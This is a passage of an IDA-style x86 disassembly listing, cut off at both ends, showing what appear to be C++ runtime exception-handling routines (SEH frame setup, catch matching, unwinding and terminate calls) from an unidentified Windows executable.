[ebp+arg_4] push edi call sub_41CC11 add esp, 0Ch jmp short loc_41CBE5 ; --------------------------------------------------------------------------- loc_41CBD5: ; CODE XREF: sub_41CB4F+63j ; sub_41CB4F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41CBEA add esp, 10h loc_41CBE5: ; CODE XREF: sub_41CB4F+84j pop edi pop esi pop ebx pop ebp retn sub_41CB4F endp ; =============== S U B R O U T I N E ======================================= sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_48A084, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C96D and byte_48A084, 0 add esp, 10h retn sub_41CBEA endp ; =============== S U B R O U T I N E ======================================= sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_48A084, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41CA71 and byte_48A084, 0 add esp, 0Ch retn sub_41CC11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp ; DATA XREF: sub_417D8Bo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41CC6F cmp [ebp+arg_8], 45h jz short loc_41CC6F cmp [ebp+arg_8], 66h jnz short loc_41CC5C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CA71 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41CC5C: ; CODE XREF: sub_41CC34+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CB4F jmp short loc_41CC80 ; --------------------------------------------------------------------------- loc_41CC6F: ; CODE XREF: sub_41CC34+7j ; sub_41CC34+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C96D loc_41CC80: ; CODE XREF: sub_41CC34+39j add esp, 10h pop ebp retn sub_41CC34 endp ; =============== S U B R O U T I N E ======================================= sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp ; sub_41CA71+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41CCA8 push esi mov esi, [esp+8+arg_0] push esi call sub_417AB0 inc eax push eax push esi add esi, edi push esi call sub_4182C0 add esp, 10h pop esi loc_41CCA8: ; CODE XREF: sub_41CC85+7j pop edi retn sub_41CC85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp ; sub_417FD5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41CCC0 call sub_41D552 loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41CCE8 cmp dword ptr [esi+4], 0 jz short loc_41CD3E cmp [ebp+arg_14], 0 jnz short loc_41CD3E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41CFF1 add esp, 10h jmp short loc_41CD3E ; --------------------------------------------------------------------------- loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41CD3E cmp dword ptr [eax], 0E06D7363h jnz short loc_41CD22 cmp [eax+14h], edi jbe short loc_41CD22 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CD22 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CD41 ; --------------------------------------------------------------------------- loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj ; sub_41CCAA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CD45 add esp, 20h loc_41CD3E: ; CODE XREF: sub_41CCAA+23j ; sub_41CCAA+29j ... push 1 pop eax loc_41CD41: ; CODE XREF: sub_41CCAA+76j pop edi pop esi pop ebp retn sub_41CCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41CD65 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CD6A loc_41CD65: ; CODE XREF: sub_41CD45+16j call sub_41D552 loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE mov esi, dword_48A090 test esi, esi jz loc_41CEBC mov eax, dword_48A094 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4208D2 pop ecx test eax, eax pop ecx jnz short loc_41CDC0 call sub_41D552 loc_41CDC0: ; CODE XREF: sub_41CD45+74j cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE call sub_41D552 loc_41CDDE: ; CODE XREF: sub_41CD45+41j ; sub_41CD45+46j ... cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz loc_41CEC1 cmp [esi+14h], edi jnz loc_41CEC1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov ebx, eax loc_41CE15: ; CODE XREF: sub_41CD45+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41CEAC cmp [ebx], edi jg short loc_41CEA1 cmp edi, [ebx+4] jg short loc_41CEA1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41CE9E loc_41CE3A: ; CODE XREF: sub_41CD45+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41CE6B loc_41CE4C: ; CODE XREF: sub_41CD45+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41CF94 add esp, 0Ch test eax, eax jnz short loc_41CE7A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41CE4C loc_41CE6B: ; CODE XREF: sub_41CD45+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41CE3A jmp short loc_41CE9E ; --------------------------------------------------------------------------- loc_41CE7A: ; CODE XREF: sub_41CD45+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CE9E: ; CODE XREF: sub_41CD45+F3j ; sub_41CD45+133j mov edi, [ebp+var_10] loc_41CEA1: ; CODE XREF: sub_41CD45+DEj ; sub_41CD45+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41CE15 ; --------------------------------------------------------------------------- loc_41CEAC: ; CODE XREF: sub_41CD45+D6j cmp [ebp+arg_14], 0 jz short loc_41CEBC push 1 push esi call sub_41D41A pop ecx pop ecx loc_41CEBC: ; CODE XREF: sub_41CD45+56j ; sub_41CD45+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CEC1: ; CODE XREF: sub_41CD45+37j ; sub_41CD45+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41CEE7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CEEC add esp, 20h jmp short loc_41CEBC ; --------------------------------------------------------------------------- loc_41CEE7: ; CODE XREF: sub_41CD45+180j jmp sub_41D4FC sub_41CD45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_48A098, 0 push esi push edi jz short loc_41CF1D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417FFA add esp, 1Ch test eax, eax jnz short loc_41CF90 loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov esi, eax loc_41CF39: ; CODE XREF: sub_41CEEC+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41CF90 cmp edi, [esi] jl short loc_41CF88 cmp edi, [esi+4] jg short loc_41CF88 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CF62 cmp byte ptr [ecx+8], 0 jnz short loc_41CF88 loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CF88: ; CODE XREF: sub_41CEEC+57j ; sub_41CEEC+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41CF39 ; --------------------------------------------------------------------------- loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj ; sub_41CEEC+53j pop edi pop esi leave retn sub_41CEEC endp ; =============== S U B R O U T I N E ======================================= sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41CFEB cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41CFEB mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41CFC5 add ecx, 8 push ecx push edx call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41CFE7 loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj test byte ptr [esi], 2 jz short loc_41CFCF test byte ptr [edi], 8 jz short loc_41CFE7 loc_41CFCF: ; CODE XREF: sub_41CF94+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41CFDE test byte ptr [edi], 1 jz short loc_41CFE7 loc_41CFDE: ; CODE XREF: sub_41CF94+43j test al, 2 jz short loc_41CFEB test byte ptr [edi], 2 jnz short loc_41CFEB loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj ; sub_41CF94+39j ... xor eax, eax jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFEB: ; CODE XREF: sub_41CF94+Bj ; sub_41CF94+14j ... push 1 pop eax loc_41CFEE: ; CODE XREF: sub_41CF94+55j pop edi pop esi retn sub_41CF94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p ; ___:0041D0E7p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424860 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41D023: ; CODE XREF: sub_41CFF1+8Aj cmp esi, [ebp+arg_C] jz short loc_41D07D cmp esi, 0FFFFFFFFh jle short loc_41D032 cmp esi, [edi+4] jl short loc_41D037 loc_41D032: ; CODE XREF: sub_41CFF1+3Aj call sub_41D552 loc_41D037: ; CODE XREF: sub_41CFF1+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41D052 push 103h push ebx push eax call sub_41D4B0 loc_41D052: ; CODE XREF: sub_41CFF1+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D072 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41D08F pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41D072: ; CODE XREF: sub_41CFF1+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41D023 ; --------------------------------------------------------------------------- loc_41D07D: ; CODE XREF: sub_41CFF1+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CFF1 endp ; =============== S U B R O U T I N E ======================================= sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41D0A0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0A0: ; CODE XREF: sub_41D08F+Cj jmp sub_41D4FC sub_41D08F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p ; sub_41CEEC+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41D0C7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41D256 add esp, 10h loc_41D0C7: ; CODE XREF: sub_41D0A5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41D0D3 push edi jmp short loc_41D0D6 ; --------------------------------------------------------------------------- loc_41D0D3: ; CODE XREF: sub_41D0A5+29j push [ebp+arg_24] loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj call sub_417EFC sub_41D0A5 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_41CFF1 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_41D120 add esp, 2Ch test eax, eax jz short loc_41D11B push edi push eax call sub_417EBA loc_41D11B: ; CODE XREF: ___:0041D112j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D120 proc near ; CODE XREF: ___:0041D108p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424870 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_48A090 mov [ebp+var_1C], ecx mov ecx, dword_48A094 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_48A090, edi mov ecx, [ebp+arg_8] mov dword_48A094, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_417F81 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41D1E6 mov eax, [ebp+var_2C] loc_41D1AD: ; CODE XREF: sub_41D1C6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D120 endp ; =============== S U B R O U T I N E ======================================= sub_41D1BC proc near ; DATA XREF: ___:00424880o push dword ptr [ebp-14h] call sub_41D22C pop ecx retn sub_41D1BC endp ; =============== S U B R O U T I N E ======================================= sub_41D1C6 proc near ; DATA XREF: ___:00424884o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4181E2 pop ecx pop ecx xor eax, eax jmp short loc_41D1AD sub_41D1C6 endp ; --------------------------------------------------------------------------- loc_41D1DE: ; DATA XREF: ___:00424878o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_48A090, eax mov eax, [ebp-20h] mov dword_48A094, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41D22B cmp dword ptr [edi+10h], 3 jnz short locret_41D22B cmp dword ptr [edi+14h], 19930520h jnz short locret_41D22B cmp [ebp-24h], ebx jnz short locret_41D22B cmp [ebp-2Ch], ebx jz short locret_41D22B call sub_41824A push eax push edi call sub_41D41A pop ecx pop ecx locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj ; sub_41D1E6+22j ... retn sub_41D1E6 endp ; =============== S U B R O U T I N E ======================================= sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41D253 cmp dword ptr [eax+10h], 3 jnz short loc_41D253 cmp dword ptr [eax+14h], 19930520h jnz short loc_41D253 cmp dword ptr [eax+1Ch], 0 jnz short loc_41D253 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D253: ; CODE XREF: sub_41D22C+Cj ; sub_41D22C+12j ... xor eax, eax retn sub_41D22C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424888 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41D3FF cmp byte ptr [eax+8], 0 jz loc_41D3FF mov eax, [ecx+8] test eax, eax jz loc_41D3FF mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41D2F3 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41D2E4: ; CODE XREF: sub_41D256+F5j push eax call sub_41D481 pop ecx pop ecx mov [edi], eax jmp loc_41D3FB ; --------------------------------------------------------------------------- loc_41D2F3: ; CODE XREF: sub_41D256+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41D34D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4182C0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41D3FB mov eax, [edi] test eax, eax jz loc_41D3FB add esi, 8 push esi jmp short loc_41D2E4 ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D256+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41D395 call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push edi call sub_4182C0 add esp, 0Ch jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D395: ; CODE XREF: sub_41D256+103j call sub_4208D2 pop ecx pop ecx test eax, eax jz short loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+18h] call sub_42090A pop ecx test eax, eax jz short loc_41D3F6 test byte ptr [esi], 4 jz short loc_41D3DC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EF5 jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3DC: ; CODE XREF: sub_41D256+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EEE jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3F6: ; CODE XREF: sub_41D256+6Aj ; sub_41D256+7Cj ... call sub_41D552 loc_41D3FB: ; CODE XREF: sub_41D256+98j ; sub_41D256+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41D3FF: ; CODE XREF: sub_41D256+2Ej ; sub_41D256+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D256 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D41A proc near ; CODE XREF: sub_41CD45+170p ; sub_41D1E6+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424898 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41D461 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41D461 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_417EEE or [ebp+var_4], 0FFFFFFFFh loc_41D461: ; CODE XREF: sub_41D41A+2Aj ; sub_41D41A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D41A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp ; sub_41D256+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41D4A2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41D4A2: ; CODE XREF: sub_41D481+12j pop esi retn sub_41D481 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p ; sub_41CFF1+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41826D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41D4EF mov ecx, 2 loc_41D4EF: ; CODE XREF: sub_41D4B0+38j push ecx call sub_41826D pop ebp pop ecx pop ebx leave retn 0Ch sub_41D4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j ; sub_41D08F:loc_41D0A0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248A8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_48A09C test eax, eax jz short loc_41D544 mov [ebp+var_4], 1 call eax jmp short loc_41D540 ; --------------------------------------------------------------------------- loc_41D539: ; DATA XREF: ___:004248B8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D53D: ; DATA XREF: ___:004248BCo mov esp, [ebp+var_18] loc_41D540: ; CODE XREF: sub_41D4FC+3Bj and [ebp+var_4], 0 loc_41D544: ; CODE XREF: sub_41D4FC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D54D: ; DATA XREF: ___:004248B0o jmp loc_420922 sub_41D4FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D552 proc near ; CODE XREF: sub_418123+23p ; sub_418123:loc_41818Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248C0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43B924 test eax, eax jz short loc_41D59A mov [ebp+var_4], 1 call eax ; sub_41D4FC jmp short loc_41D596 ; --------------------------------------------------------------------------- loc_41D58F: ; DATA XREF: ___:004248D0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D593: ; DATA XREF: ___:004248D4o mov esp, [ebp+var_18] loc_41D596: ; CODE XREF: sub_41D552+3Bj and [ebp+var_4], 0 loc_41D59A: ; CODE XREF: sub_41D552+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D5A3: ; DATA XREF: ___:004248C8o jmp sub_41D4FC sub_41D552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5A8 proc near ; CODE XREF: sub_418603+7p ; sub_418603+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_48B688 push esi cmp eax, 3 jnz short loc_41D5D1 mov esi, [ebp+arg_0] push esi call sub_41AD89 test eax, eax pop ecx jz short loc_41D5CE mov eax, [esi-4] sub eax, 9 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5CE: ; CODE XREF: sub_41D5A8+1Cj push esi jmp short loc_41D5F8 ; --------------------------------------------------------------------------- loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej cmp eax, 2 jnz short loc_41D5F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41BAE4 add esp, 0Ch test eax, eax jz short 